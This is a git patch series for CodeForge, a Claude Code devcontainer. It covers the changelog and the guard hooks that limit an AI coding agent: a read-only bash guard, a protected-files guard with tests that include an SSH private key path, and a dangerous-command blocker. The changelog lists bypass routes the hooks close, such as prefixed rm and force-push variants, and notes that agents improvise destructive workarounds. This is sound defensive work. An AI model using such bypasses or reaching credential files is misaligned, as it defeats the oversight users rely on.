- "version": "1.14.2", + "version": "2.0.0", "description": "Complete development container that sets up Claude Code with modular devcontainer features, modern dev tools, and persistent configurations. Drop it into any project and get a production-ready AI development environment in minutes.", "main": "setup.js", "bin": { @@ -10,7 +10,7 @@ "test": "node test.js", "test:plugins": "pytest tests/ -v", "test:all": "npm test && pytest tests/ -v", - "prepublishOnly": "npm test", + "prepublishOnly": "npm run test:all", "docs:dev": "npm run dev --prefix docs", "docs:build": "npm run build --prefix docs", "docs:preview": "npm run preview --prefix docs" From 9c713b92dec5aa7b9ea575f2e07f5fc9bd50d0a7 Mon Sep 17 00:00:00 2001 From: AnExiledDev Date: Mon, 2 Mar 2026 03:04:47 +0000 Subject: [PATCH 4/5] Fix CI: use dynamic HOME in allowlist test The test hardcoded /home/vscode but CI runs as /home/runner. Use the module's _home variable to match the actual environment. --- tests/plugins/test_guard_workspace_scope.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/plugins/test_guard_workspace_scope.py b/tests/plugins/test_guard_workspace_scope.py index ed37687..ebd0d4e 100644 --- a/tests/plugins/test_guard_workspace_scope.py +++ b/tests/plugins/test_guard_workspace_scope.py @@ -66,10 +66,10 @@ class TestIsAllowlisted: @pytest.mark.parametrize( "path, expected", [ - ("/home/vscode/.claude/rules/foo.md", True), + (f"{guard_workspace_scope._home}/.claude/rules/foo.md", True), ("/tmp/scratch.txt", True), ("/workspaces/proj/file", False), - ("/home/vscode/.ssh/id_rsa", False), + (f"{guard_workspace_scope._home}/.ssh/id_rsa", False), ], ids=[ "claude_config_dir", From 4b0900473042e9a9f8106fa8f1dc9f3a158b17af Mon Sep 17 00:00:00 2001 From: AnExiledDev Date: Mon, 2 Mar 2026 04:10:23 +0000 Subject: [PATCH 5/5] Fix CodeRabbit review issues and switch to domain changelog headings - Remove dead `if not LOG_FILE` guard in redirect-builtin-agents.py - Fix git global flag handling in stash/config index resolution - Add multi-target extraction for rm/touch/mkdir/chmod/chown commands - Switch CLAUDE.md changelog guidelines to domain headings - Restructure [Unreleased] changelog to domain headings, fix test counts - Add 12 new tests (289 total): global-flag stash tests, multi-target tests --- .devcontainer/CHANGELOG.md | 275 +----------------- .../scripts/guard-readonly-bash.py | 14 +- .../scripts/redirect-builtin-agents.py | 4 +- .../scripts/guard-protected-bash.py | 58 ++++ CLAUDE.md | 3 +- tests/plugins/test_guard_protected.py | 3 +- tests/plugins/test_guard_protected_bash.py | 57 +++- tests/plugins/test_guard_readonly_bash.py | 25 ++ 8 files changed, 161 insertions(+), 278 deletions(-) diff --git a/.devcontainer/CHANGELOG.md b/.devcontainer/CHANGELOG.md index 1867873..1382af8 100644 --- a/.devcontainer/CHANGELOG.md +++ b/.devcontainer/CHANGELOG.md @@ -5,35 +5,34 @@ ### Security - Removed environment variable injection vector in agent redirect log path (S2-01) - Narrowed config deployment allowed destinations from `/usr/local` to `/usr/local/share` (S2-09) +- Protected files guard now fails closed on unexpected errors instead of failing open (S2-04) -### Added - -#### Testing -- **Plugin test suite** — 241 pytest tests covering 6 critical plugin scripts that previously had zero tests: - - `block-dangerous.py` (46 tests) — all 22 dangerous command patterns with positive/negative/edge cases +### Testing +- **Plugin test suite** — 289 pytest tests covering 6 critical plugin scripts that previously had zero tests: + - `block-dangerous.py` (62 tests) — all 33 dangerous command patterns with positive/negative/edge cases - `guard-workspace-scope.py` (40 tests) — blacklist, scope, allowlist, bash enforcement layers, primary command extraction - - `guard-protected.py` (55 tests) — all protected file patterns (secrets, locks, keys, credentials, auth dirs) - - `guard-protected-bash.py` (24 tests) — write target extraction and protected path integration - - `guard-readonly-bash.py` (63 tests) — general-readonly and git-readonly modes, bypass prevention + - `guard-protected.py` (56 tests) — all protected file patterns (secrets, locks, keys, credentials, auth dirs) + - `guard-protected-bash.py` (49 tests) — write target extraction, multi-target commands, and protected path integration + - `guard-readonly-bash.py` (69 tests) — general-readonly and git-readonly modes, bypass prevention, global flag handling - `redirect-builtin-agents.py` (13 tests) — redirect mapping, passthrough, output structure - Added `test:plugins` and `test:all` npm scripts for running plugin tests - Python plugin tests (`pytest`) added to CI pipeline (Q3-08) -### Fixed - -#### Dangerous Command Blocker +### Dangerous Command Blocker - **Force push block now suggests `git merge` as workaround** — error message explains how to avoid diverged history instead of leaving the agent to improvise destructive workarounds - **Block `--force-with-lease`** — was slipping through regex; all force push variants now blocked uniformly - **Block remote branch deletion** — `git push origin --delete` and colon-refspec deletion (`git push origin :branch`) now blocked; deleting remote branches closes associated PRs - **Fixed README** — error handling was documented as "fails open" but code actually fails closed; corrected to match behavior - Dangerous command blocker handles prefix bypasses (`\rm`, `command rm`, `env rm`) and symbolic chmod (S2-03) + +### Guards - Fixed greedy alternation in write-target regex — `>>` now matched before `>` (Q3-01) +- Unified write-target extraction patterns across guards — protected-files bash guard expanded from 5 to 20 patterns (C1-02) +- Multi-target command support — `rm`, `touch`, `mkdir`, `chmod`, `chown` with multiple file operands now check all targets - Bare `git stash` (equivalent to push) now blocked in read-only mode (Q3-04) +- Fixed git global flag handling — `git -C /path stash list` no longer misidentifies the stash subcommand -#### Protected Files Guard -- Protected files guard now fails closed on unexpected errors instead of failing open (S2-04) - -#### Documentation +### Documentation - **DevContainer CLI guide** — dedicated Getting Started page for terminal-only workflows without VS Code - **v2 Migration Guide** — path changes, automatic migration, manual steps, breaking changes, and troubleshooting - Documented 4 previously undocumented agents in agents.md: implementer, investigator, tester, documenter @@ -43,252 +42,6 @@ - Tabbed client-specific instructions on the installation page - Dedicated port forwarding reference page covering VS Code auto-detect, devcontainer-bridge, and SSH tunneling -### Changed - -#### Guards -- Unified write-target extraction patterns across guards — protected-files bash guard expanded from 5 to 18 patterns (C1-02) - -#### Performance -- Commented out Rust toolchain feature — saves ~1.23 GB image size; uncomment in `devcontainer.json` if needed -- Commented out ccms feature pending replacement tool (requires Rust) -- Updated Bun feature to install latest version (was pinned to outdated 1.3.9) -- Added npm cache cleanup to 6 features: agent-browser, ast-grep, biome, claude-session-dashboard, lsp-servers, tree-sitter (saves ~96 MB runtime disk) - -#### System Prompts -- **Main system prompt redesigned** — reorganized from 672 to 462 lines with new section order prioritizing personality, core directives, and response guidelines at the top -- **Added personality section** — defines communication style (casual-professional, direct, terse), humor rules, honesty approach, AuDHD-aware patterns, and good/bad response examples; replaces the empty `` tag -- **Compressed specification management** — reduced from 98 to 28 lines; full template and enforcement workflow moved to loadable skills -- **Compressed code standards** — removed textbook principle recitations (SOLID, DRY/KISS/YAGNI by name); kept only concrete actionable rules -- **Removed browser automation section** — moved to loadable skill (relevant in <10% of sessions) -- **Removed git worktrees section** — moved to loadable skill; EnterWorktree and `--worktree` flag documented in CLAUDE.md -- **Added context-passing protocol** to orchestration — mandatory instructions for including gathered context, file paths, and constraints when spawning subagents -- **Absorbed `` into ``** — key rules preserved, wrapper removed -- **Absorbed `` into ``** — technical accuracy stance woven into personality definition -- **Deduplicated team composition examples** — consolidated into orchestration section only -- **Consolidated "no filler" instructions** — previously stated three different ways across three sections - -#### Agent System -- **All 21 agents now have communication protocols** — read-only agents get "Handling Uncertainty" (make best judgment, flag assumptions); write-capable agents get "Question Surfacing Protocol" (BLOCKED + return for ambiguity) -- **Architect agent: anti-fluff enforcement** — explicit banned patterns ("This approach follows best practices...", restating the problem, explaining why the approach is good), good/bad plan line examples -- **Architect agent: team orchestration planning** — can now plan teammate composition, file ownership, task dependencies, and worktree usage when tasks warrant parallel work -- **Architect agent: strengthened output format** — team plan section added, edit ordering section added, file references must be specific -- **Generalist agent rewritten as last-resort** — description changed to "LAST RESORT agent. Only use when NO specialist agent matches", identity paragraph flags when a specialist might have been better -- **Investigator agent: structured output guidance** — added instruction to include actionable next steps, not just observations -- **Added Bash guard hooks** to researcher, debug-logs, and perf-profiler agents — prevents accidental state-changing commands in read-only agents -- **Architect agent: major plan quality improvements** — complexity scaling framework (simple/moderate/complex), 20+ banned fluff patterns, concrete edit ordering (Models→Services→Routes→Tests→Config), rollback strategy requirement for schema/API changes, schema change detection, verification criteria per phase, 3 new examples (migration, multi-agent refactoring, ambiguous requirement) -- **Merged tester agent into test-writer** — test-writer is now the single test agent; tester.md removed (test-writer was more comprehensive with better examples and Question Surfacing Protocol) -- **Merged doc-writer agent into documenter** — documenter is now the single documentation agent with full spec lifecycle AND rich documentation patterns (README 5-question structure, API docs format, language-specific docstring examples, architectural docs, style guide); doc-writer.md removed -- **Narrowed investigator description** — repositioned from catch-all "all read-only analysis" to "cross-domain investigations spanning 2+ specialist areas"; prevents over-selection when a focused specialist (explorer, researcher, git-archaeologist, etc.) is the better fit -- **Improved agent descriptions for routing accuracy** — added missing trigger phrases to explorer, researcher, debug-logs, dependency-analyst, security-auditor, perf-profiler, refactorer, and test-writer; clarified overlap boundaries between security-auditor (code-level) and dependency-analyst (package-level), explorer (codebase-only) and researcher (web+code) -- **Resolved communication protocol contradictions** — aligned all "ask the user/caller" instructions in agent behavioral rules with the new Handling Uncertainty / Question Surfacing Protocol sections, eliminating conflicting guidance about direct user interaction - -#### Skill Engine: Auto-Suggestion -- **Weighted scoring** — Skill suggestion phrases now carry confidence weights (0.0–1.0) instead of binary match/no-match. Specific phrases like "build a fastapi app" score 1.0; ambiguous phrases like "start building" score 0.2 -- **Negative patterns** — Skills can define substrings that instantly disqualify them. Prevents `fastapi` from triggering when discussing `pydantic-ai`, and `docker` from triggering for `docker-py` prompts -- **Context guards** — Low-confidence matches (score < 0.6) require a confirming context word elsewhere in the prompt. "health check" only suggests `docker` if "docker", "container", or "compose" also appears -- **Ranked results, capped at 3** — Suggestions are sorted by score (then priority tier), and only the top 3 are returned. Eliminates 6+ skill suggestion floods -- **Priority tiers** — Explicit commands (priority 10) outrank technology skills (7), which outrank patterns (5) and generic skills (3) when scores tie - -#### Claude Code Installation -- **Claude Code now installs as a native binary** — uses Anthropic's official installer (`https://claude.ai/install.sh`) via new `./features/claude-code-native` feature, replacing the npm-based `ghcr.io/anthropics/devcontainer-features/claude-code:1.0.5` -- **In-session auto-updater now works without root** — native binary at `~/.local/bin/claude` is owned by the container user, so `claude update` succeeds without permission issues - -#### System Prompt -- **`` section** — Updated to document Claude Code native worktree convention (`/.claude/worktrees/`) as the recommended approach alongside the legacy `.worktrees/` convention. Added `EnterWorktree` tool guidance, `.worktreeinclude` file documentation, and path convention comparison table. - -#### Configuration -- Moved `.claude` directory from `/workspaces/.claude` to `~/.claude` (home directory) -- Added Docker named volume for persistence across rebuilds (per-instance isolation via `${devcontainerId}`) -- `CLAUDE_CONFIG_DIR` now defaults to `~/.claude` -- `file-manifest.json` — added deployment entry for `orchestrator-system-prompt.md` -- `setup-aliases.sh` — added `cc-orc` alias alongside existing `cc`, `claude`, `ccw`, `ccraw` -- `CLAUDE.md` — documented `cc-orc` command and orchestrator system prompt in key configuration table - -#### Agent System (previous) -- Agent count increased from 17 to 21 (4 workhorse + 17 specialist) -- Agent-system README updated with workhorse agent table, per-agent hooks for implementer and tester, and updated plugin structure - -#### Port Forwarding -- Dynamic port forwarding for all ports in VS Code — previously only port 7847 was statically forwarded; now all ports auto-forward with notification - -#### Documentation -- Updated **Port Forwarding reference** — VS Code dependency warning, devcontainer-bridge platform support matrix, CLI guide cross-link -- Slimmed **Installation page** — moved troubleshooting to dedicated reference page, CLI details to new CLI guide -- Full documentation review — accuracy, consistency, and completeness fixes across all 30+ pages -- Trimmed disabled ccms usage section from commands reference -- Clarified codeforge-lsp plugin description (declarative config, not "no configuration") -- Improved magic-docs agent explanation in agent-system plugin docs -- Clarified plugin count as "13 local + 1 official" in reference index -- Updated prerequisites and installation docs to support all DevContainer clients (VS Code, CLI, JetBrains Gateway, DevPod, Codespaces) -- **Ported `.devcontainer/docs/` to docs site** — migrated content from 5 legacy reference docs into the Starlight documentation site: - - New **Keybindings** page (Customization) — VS Code/Claude Code shortcut conflicts and resolution options - - New **Troubleshooting** page (Reference) — 12+ problem/solution entries for build, auth, plugins, and performance issues - - New **Optional Features** page (Customization) — mcp-qdrant vector memory setup guide - - Merged setup variables (`.env` flags) into the Environment Variables reference - - Merged `.secrets` file authentication docs into the Configuration page -- Removed `.devcontainer/docs/` directory — all content now lives in the docs site -- **Versioned docs infrastructure** — installed `starlight-versions` plugin; no archived versions yet, first snapshot will be taken when v3 development begins -- **Fixed docs site URL** — updated `site` to `https://codeforge.core-directive.com` and removed `/CodeForge` base path (custom domain serves from root) - -### Fixed - -#### Bun -- Bun PATH not available in non-interactive shells — Bun is now accessible in all shell contexts - -#### Session Context Plugin -- **Commit reminder** no longer blocks Claude from stopping — switched from `decision: "block"` to advisory `systemMessage` wrapped in `` tags -- **Commit reminder** now uses tiered logic: meaningful changes (3+ files, 2+ source files, or test files) get an advisory suggestion; small changes are silent -- **Commit reminder** only fires when the session actually modified files (via new PostToolUse edit tracker), preventing false reminders during read-only sessions - -#### Auto Code Quality Plugin -- **Advisory test runner** now reads from the correct tmp file prefix (`claude-cq-edited` instead of `claude-edited-files`), fixing a mismatch that prevented it from ever finding edited files - -#### Docs -- Removed stale merge conflict marker in first-session docs page - - -#### CI/CD -- **Release workflow** — switched from auto-publish on `package.json` change to tag-triggered (`v*` tags only); prevents accidental releases when PRs include version bumps. Tag must match `package.json` version or the workflow fails. - -#### CCStatusLine Deployment -- **`CONFIG_SOURCE_DIR` deprecation guard** — `setup.sh` now detects stale `CONFIG_SOURCE_DIR=/workspaces/.claude` in `.env`, overrides to `$DEVCONTAINER_DIR/config`, and auto-comments the line on disk; the wrong path caused `setup-config.sh` to skip the file manifest entirely, leaving ccstatusline (and all manifest-based configs) undeployed -- **System template directory permissions** — `install.sh` now chowns `/usr/local/share/ccstatusline/` to the target user so `setup-config.sh` can write the template file during post-start -- **Silent copy failures** — `setup-config.sh` now reports warnings when file deployment fails instead of logging success after a failed `cp` - -#### Post-Integration Review Fixes -- **skill-engine** — worktree skill definition uses weighted tuples (was plain strings, caused crash) -- **dangerous-command-blocker** — fail closed on unexpected exceptions (was fail-open) -- **ticket-workflow** — remove redundant `ValueError` from exception handlers -- **workspace-scope-guard** — use maxsplit in variable assignment detection -- **Shell scripts** — add executable bit to `check-setup.sh`, quote `PLUGIN_BLACKLIST` variable, add `set -uo pipefail` to tmux installer, replace deprecated `which` with `command -v`, normalize `&>` redirects in setup scripts -- **Documentation** — update agent count to 21, skill count to 38, plugin count to 14 across all docs site pages -- **Documentation** — add missing plugin pages for git-workflow and prompt-snippets -- **Documentation** — add `cc-orc` and `dbr` to commands reference -- **Documentation** — remove merge conflict marker from first-session.md -- **Documentation** — update architecture.md directory tree with new plugins - -#### CodeRabbit Review Fixes -- **`implementer.md`** — changed PostToolUse hook (fires every Edit) to Stop hook (fires once at task end) with 120s timeout; prevents redundant test runs during multi-file tasks -- **`tester.md`** — increased Stop hook timeout from 30s to 120s to accommodate larger test suites -- **`setup-aliases.sh`** — added `cc-orc` to `cc-tools` discovery loop so it appears in tool audit -- **`CLAUDE.md`** — added missing `keybindings.json`, `orchestrator-system-prompt.md`, and `writing-system-prompt.md` to directory structure tree -- **`agent-system/README.md`** — updated `verify-no-regression.py` comment to list both consumers (implementer, refactorer); hyphenated "question-surfacing protocol" -- **`orchestrator-system-prompt.md`** — clarified plan mode allows investigator delegation for research; added catch-all entry in selection criteria pointing to the full specialist catalog -- **MD040 compliance** — added `text` language specifiers to 7 fenced code blocks across `investigator.md`, `tester.md`, and `documenter.md` -- **`setup.js` path traversal** — `configApply()` now validates that source paths resolve within `.codeforge/` and destination paths resolve within allowed directories (`CLAUDE_CONFIG_DIR`, `HOME`, `/usr/local/`), preventing directory traversal via `../` in manifest entries -- **`setup.sh` CODEFORGE_DIR** — deprecation guard now uses default-assignment semantics (`:=`) instead of unconditional overwrite, preserving any user-defined `CODEFORGE_DIR` from `.env` -- **Docs site URLs** — replaced `anexileddev.github.io/CodeForge/` with custom domain `codeforge.core-directive.com/` across README.md, CLAUDE.md, and .devcontainer/README.md -- **Architecture docs** — added `.checksums/` and `.markers/` directories to the `.codeforge/` tree in architecture.md -- **Troubleshooting docs** — renamed "Reset to Defaults" to "How to Reset" and clarified that `--reset` preserves `.codeforge/` user modifications; added step for restoring default config sources - - -#### Claude Code Installation -- **Update script no longer silently discards errors** — background update output now captured to log file instead of being discarded via `&>/dev/null` -- **Update script simplified to native-binary-only** — removed npm fallback and `claude install` bootstrap code; added 60s timeout and transitional npm cleanup -- **Alias resolution simplified** — `_CLAUDE_BIN` now resolves directly to native binary path (removed npm and `/usr/local/bin` fallbacks) -- **POSIX redirect** — replaced `&>/dev/null` with `>/dev/null 2>&1` in dependency check for portability -- **Installer shell** — changed `sh -s` to `bash -s` when piping the official installer (it requires bash) -- **Unquoted `${TARGET}`** — quoted variable in `su -c` command to prevent word splitting -- **Directory prep** — added `~/.local/state` and `~/.claude` pre-creation; consolidated `chown` to cover entire `~/.local` tree - -#### Plugin Marketplace -- **`marketplace.json` schema fix** — changed all 11 plugin `source` fields from bare names (e.g., `"codeforge-lsp"`) to relative paths (`"./plugins/codeforge-lsp"`) so `claude plugin marketplace add` passes schema validation and all plugins register correctly - -#### ChromaTerm -- **Regex lookbehinds** — replaced alternation inside lookbehinds (`(?<=[\s(]|^)` and `(?<=commit |merge |...)`) with non-capturing groups containing individual lookbehinds (`(?:(?<=[\s(])|^)` and `(?:(?<=commit )|(?<=merge )|...)`) for PCRE2 compatibility - -#### Terminal Color Support -- **devcontainer.json** — added `TERM` and `COLORTERM=truecolor` to `remoteEnv`; Docker defaults to `TERM=xterm` (8 colors) which caused Claude Code and other CLI tools to downgrade rendering -- **devcontainer.json** — `TERM` uses `${localEnv:TERM:xterm-256color}` to forward the host terminal type (e.g., `xterm-kitty`) instead of unconditionally overriding it -- **setup-aliases.sh** — added terminal color defaults to managed shell block so tmux panes, `docker exec`, and SSH sessions also get 256-color and truecolor support -- **kitty-terminfo/README.md** — updated documentation to reflect `localEnv` forwarding and clarify behavior across VS Code vs non-VS Code entry points -- **CLAUDE.md** — documented `TERM` and `COLORTERM` environment variables in the Environment section - -### Added - -#### Startup -- **Container runtime pre-flight check** — validates Docker or Podman is installed and running before attempting to build the devcontainer; aborts with OS-specific remediation guidance (Windows/WSL, macOS, Linux) instead of a cryptic Docker client error - -#### README -- **"Why CodeForge?" section** — motivation and value proposition explaining the project's origins as a power user's personal setup -- **Architecture overview** — three-layer diagram (DevContainer → CodeForge Layer → Claude Code) with brief descriptions and link to full architecture docs -- **Configuration summary** — table of key config files with links to the documentation site - -#### Public Repo Quality -- **CI workflow** (`.github/workflows/ci.yml`) — test and lint jobs on PRs and pushes to main (Node 18, `npm test` + Biome check) -- **CodeQL security analysis** (`.github/workflows/codeql.yml`) — JavaScript scanning on PRs, pushes, and weekly schedule -- **Dependabot** (`.github/dependabot.yml`) — weekly updates for npm (root + docs) and GitHub Actions -- **Bug report template** (`.github/ISSUE_TEMPLATE/bug-report.yml`) — YAML form with version, environment, and repro steps -- **Feature request template** (`.github/ISSUE_TEMPLATE/feature-request.yml`) — YAML form with problem/solution/alternatives -- **Issue template config** (`.github/ISSUE_TEMPLATE/config.yml`) — commercial licensing contact link -- **Pull request template** (`.github/pull_request_template.md`) — description, type of change, and checklist -- **CONTRIBUTING.md** — contribution guidelines with GPL-3.0 licensing and CLA requirement -- **CLA.md** — Individual Contributor License Agreement enabling dual licensing -- **Dual licensing notice** — added to README.md (Contributing + License sections) and LICENSE.txt (header) -- **CI badge** — added to README.md badge row -- **SPDX copyright headers** — `GPL-3.0-only` identifier and `Copyright (c) 2026 Marcus Krueger` added to all 36 source files (setup.js, test.js, 34 shell scripts) - -#### Docs -- **CLAUDE.md** — new "Status Bar Widgets" section documenting widget properties, token color conventions, label fusion pattern, and available widget types - -#### Skills -- **worktree** — New skill for git worktree creation, management, and cleanup. Covers `EnterWorktree` tool, `--worktree` CLI flag, `.worktreeinclude` setup, worktree naming conventions, cleanup lifecycle, and CodeForge integration (Project Manager auto-detection, agent isolation). Includes two reference files: manual worktree commands and parallel workflow patterns. - -#### Claude Code Installation -- **Post-start onboarding hook** (`99-claude-onboarding.sh`) — ensures `hasCompletedOnboarding: true` in `.claude.json` when token auth is configured; catches overwrites from Claude Code CLI/extension that race with `postStartCommand` - -#### Git Workflow Plugin -- **`/ship`** — Combined commit/push/PR command with full code review, commit message approval, and AskUserQuestion confirmation before PR creation; optionally links to tickets if context exists -- **`/pr:review`** — Review any PR by number/URL or auto-detect from current branch; posts findings as PR comment with severity ratings; never approves or merges - -#### Features -- **devcontainer-bridge (dbr)** — Ports opened inside the container are now automatically discovered and forwarded to the host, even outside VS Code. Requires `dbr host-daemon` running on the host. See [devcontainer-bridge](https://github.com/bradleybeddoes/devcontainer-bridge) - -#### Orchestrator Mode -- **`cc-orc` alias** — new Claude Code entry point using `orchestrator-system-prompt.md` for delegation-first operation; orchestrator decomposes tasks, delegates to agents, surfaces questions, and synthesizes results without performing direct implementation work -- **`orchestrator-system-prompt.md`** — slim system prompt (~250 lines) containing only delegation model, agent catalog, question surfacing protocol, planning gates, spec enforcement, and action safety; all code standards, testing standards, and implementation details live in agent prompts - -#### Workhorse Agents -- **`investigator`** — consolidated read-only research agent (sonnet) merging the domains of researcher, explorer, dependency-analyst, git-archaeologist, debug-logs, and perf-profiler; handles codebase search, web research, git forensics, dependency auditing, log analysis, and performance profiling -- **`implementer`** — consolidated read-write implementation agent (opus, worktree) merging generalist, refactorer, and migrator; handles all code modifications with embedded code standards, execution discipline, and Stop hook regression testing -- **`tester`** — enhanced test agent (opus, worktree) with full testing standards, framework-specific guidance, and Stop hook verification; creates and verifies test suites -- **`documenter`** — consolidated documentation and specification agent (opus) merging doc-writer and spec-writer; handles README, API docs, docstrings, and the full spec lifecycle (create, refine, build, review, update, check) -- **Question Surfacing Protocol** — all 4 workhorse agents carry an identical protocol requiring them to STOP and return `## BLOCKED: Questions` sections when hitting ambiguities, ensuring no assumptions are made without user input - -#### Authentication -- Added `CLAUDE_AUTH_TOKEN` support in `.secrets` for long-lived tokens from `claude setup-token` -- Auto-creates `.credentials.json` from token on container start (skips if already exists) -- Added `CLAUDE_AUTH_TOKEN` to devcontainer.json secrets declaration - -#### Security -- Protected-files-guard now blocks modifications to `.credentials.json` -- Replaced `eval` tilde expansion with `getent passwd` lookup across all scripts (prevents shell injection via `SUDO_USER`/`USER`) -- Auth token value is now JSON-escaped before writing to `.credentials.json` -- Credential directory created with restrictive umask (700) matching credential file permissions (600) - -#### Status Bar -- **ccstatusline line 1** — distinct background colors for each token widget (blue=input, magenta=output, yellow=cached, green=total), bold 2-char labels (In, Ou, Ca, Tt) fused to data widgets, `rawValue: true` on model widget to strip "Model:" prefix, restored spacing between token segments - -#### Scripts -- Replaced `setup-symlink-claude.sh` with `setup-migrate-claude.sh` (one-time migration) -- Auto-migrates from `/workspaces/.claude/` if `.credentials.json` present -- `chown` in mcp-qdrant poststart hooks now uses resolved `_USERNAME` instead of hardcoded `vscode` or `$(id -un)` -- **Migration script hardened** — switched from `cp -rn` to `cp -a` (archive mode); added marker-based idempotency, critical file verification, ownership fixup, and old-directory rename -- **`.env` deprecation guard** — `setup.sh` detects stale `CLAUDE_CONFIG_DIR=/workspaces/.claude` in `.env`, overrides to `$HOME/.claude`, and auto-comments the line on disk - -#### Documentation -- All docs now reference `~/.claude` as default config path -- Added `CLAUDE_AUTH_TOKEN` setup flow to README, configuration reference, and troubleshooting -- ccstatusline README verification commands now respect `CLAUDE_CONFIG_DIR` - -### Removed - -#### Scripts -- `setup-symlink-claude.sh` — no longer needed with native home directory location - -#### VS Code Extensions -- **Todo+** (`fabiospampinato.vscode-todo-plus`) — removed from devcontainer extensions - ## v2.0.0 — 2026-02-26 ### .codeforge/ Configuration System diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/guard-readonly-bash.py b/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/guard-readonly-bash.py index 60aa869..a233cfc 100644 --- a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/guard-readonly-bash.py +++ b/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/guard-readonly-bash.py @@ -513,8 +513,9 @@ def check_git_readonly(command: str) -> str | None: # Resolve git global flags to find the real subcommand # e.g. git -C /path --no-pager log -> subcommand is "log" sub = None + sub_idx = 0 skip_next = False - for w in words[1:]: + for idx, w in enumerate(words[1:], start=1): if skip_next: skip_next = False continue @@ -524,6 +525,7 @@ def check_git_readonly(command: str) -> str | None: if w.startswith("-"): continue sub = w + sub_idx = idx break if sub is None: @@ -545,18 +547,18 @@ def check_git_readonly(command: str) -> str | None: "-l", "--get-regexp", } - if not (set(words[2:]) & safe_flags): + if not (set(words[sub_idx + 1 :]) & safe_flags): return "Blocked: 'git config' is only allowed with --get or --list" elif sub == "stash": # Only allow "stash list" and "stash show" - if len(words) <= 2: + if len(words) <= sub_idx + 1: return "Blocked: bare 'git stash' (equivalent to push) is not allowed in read-only mode" - if words[2] not in ("list", "show"): - return f"Blocked: 'git stash {words[2]}' is not allowed in read-only mode" + if words[sub_idx + 1] not in ("list", "show"): + return f"Blocked: 'git stash {words[sub_idx + 1]}' is not allowed in read-only mode" else: - for w in words[2:]: + for w in words[sub_idx + 1 :]: if w in restricted: return f"Blocked: 'git {sub} {w}' is not allowed in read-only mode" diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/redirect-builtin-agents.py b/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/redirect-builtin-agents.py index 7927606..a8cd125 100644 --- a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/redirect-builtin-agents.py +++ b/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/redirect-builtin-agents.py @@ -42,9 +42,7 @@ def log(message: str) -> None: - """Append a timestamped log entry if logging is enabled.""" - if not LOG_FILE: - return + """Append a timestamped log entry.""" try: with open(LOG_FILE, "a") as f: ts = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%S") diff --git a/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected-bash.py b/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected-bash.py index dddda47..be43e71 100644 --- a/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected-bash.py +++ b/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected-bash.py @@ -10,6 +10,7 @@ import json import re +import shlex import sys # Same patterns as guard-protected.py @@ -86,6 +87,59 @@ ] +# Commands where all trailing non-flag arguments are file targets +_MULTI_TARGET_CMDS = frozenset({"rm", "touch", "mkdir"}) +# Commands where the first non-flag arg is NOT a file (mode/owner), rest are +_SKIP_FIRST_ARG_CMDS = frozenset({"chmod", "chown"}) + + +def _extract_multi_targets(command: str) -> list[str]: + """Extract all file targets from commands that accept multiple operands.""" + try: + tokens = shlex.split(command) + except ValueError: + return [] + if not tokens: + return [] + + # Handle prefixes like sudo, env, etc. + prefixes = {"sudo", "env", "nohup", "nice", "command"} + i = 0 + while i < len(tokens) and tokens[i] in prefixes: + i += 1 + # Skip sudo flags like -u root + if i > 0 and tokens[i - 1] == "sudo": + while i < len(tokens) and tokens[i].startswith("-"): + i += 1 + if i < len(tokens) and not tokens[i].startswith("-"): + i += 1 # skip flag argument + # Skip env VAR=val + if i > 0 and tokens[i - 1] == "env": + while i < len(tokens) and "=" in tokens[i]: + i += 1 + if i >= len(tokens): + return [] + cmd = tokens[i] + + if cmd not in _MULTI_TARGET_CMDS and cmd not in _SKIP_FIRST_ARG_CMDS: + return [] + + # Collect non-flag arguments + args = [] + j = i + 1 + while j < len(tokens): + if tokens[j].startswith("-"): + j += 1 + continue + args.append(tokens[j]) + j += 1 + + if cmd in _SKIP_FIRST_ARG_CMDS and args: + args = args[1:] # First arg is mode/owner, not a file + + return args + + def extract_write_targets(command: str) -> list[str]: """Extract file paths that the command writes to.""" targets = [] @@ -94,6 +148,10 @@ def extract_write_targets(command: str) -> list[str]: target = match.group(1).strip("'\"") if target: targets.append(target) + # Supplement with multi-target extraction for commands like rm, touch, chmod + for target in _extract_multi_targets(command): + if target not in targets: + targets.append(target) return targets diff --git a/CLAUDE.md b/CLAUDE.md index 37a44e0..8e7a882 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -18,8 +18,7 @@ See `.devcontainer/CLAUDE.md` for full devcontainer documentation. Every change MUST have a corresponding entry in `.devcontainer/CHANGELOG.md`. - New features, enhancements, fixes, and removals each get their own bullet -- Group related changes under the appropriate `### Added`, `### Changed`, `### Fixed`, or `### Removed` heading -- Use sub-headings (`####`) to organize by area (e.g., Workspace Scope Guard, Features, Configuration) +- Group related changes under domain headings (`###`) by area (e.g., `### Security`, `### Agent System`, `### Documentation`, `### Configuration`) - If an unreleased version section doesn't exist, add changes to the current version's section - Write entries from the user's perspective — what changed, not how it was implemented diff --git a/tests/plugins/test_guard_protected.py b/tests/plugins/test_guard_protected.py index cf6cfd3..cfab10d 100644 --- a/tests/plugins/test_guard_protected.py +++ b/tests/plugins/test_guard_protected.py @@ -262,6 +262,5 @@ def test_exception_causes_exit_code_2(self): text=True, ) assert result.returncode == 2, ( - f"Expected exit code 2, got {result.returncode}. " - f"stderr: {result.stderr}" + f"Expected exit code 2, got {result.returncode}. stderr: {result.stderr}" ) diff --git a/tests/plugins/test_guard_protected_bash.py b/tests/plugins/test_guard_protected_bash.py index a7055da..50f78a4 100644 --- a/tests/plugins/test_guard_protected_bash.py +++ b/tests/plugins/test_guard_protected_bash.py @@ -284,9 +284,59 @@ def test_extended_pattern_blocks_protected_file(self, command, expected_target): targets = guard_protected_bash.extract_write_targets(command) assert expected_target in targets is_protected, message = guard_protected_bash.check_path(expected_target) 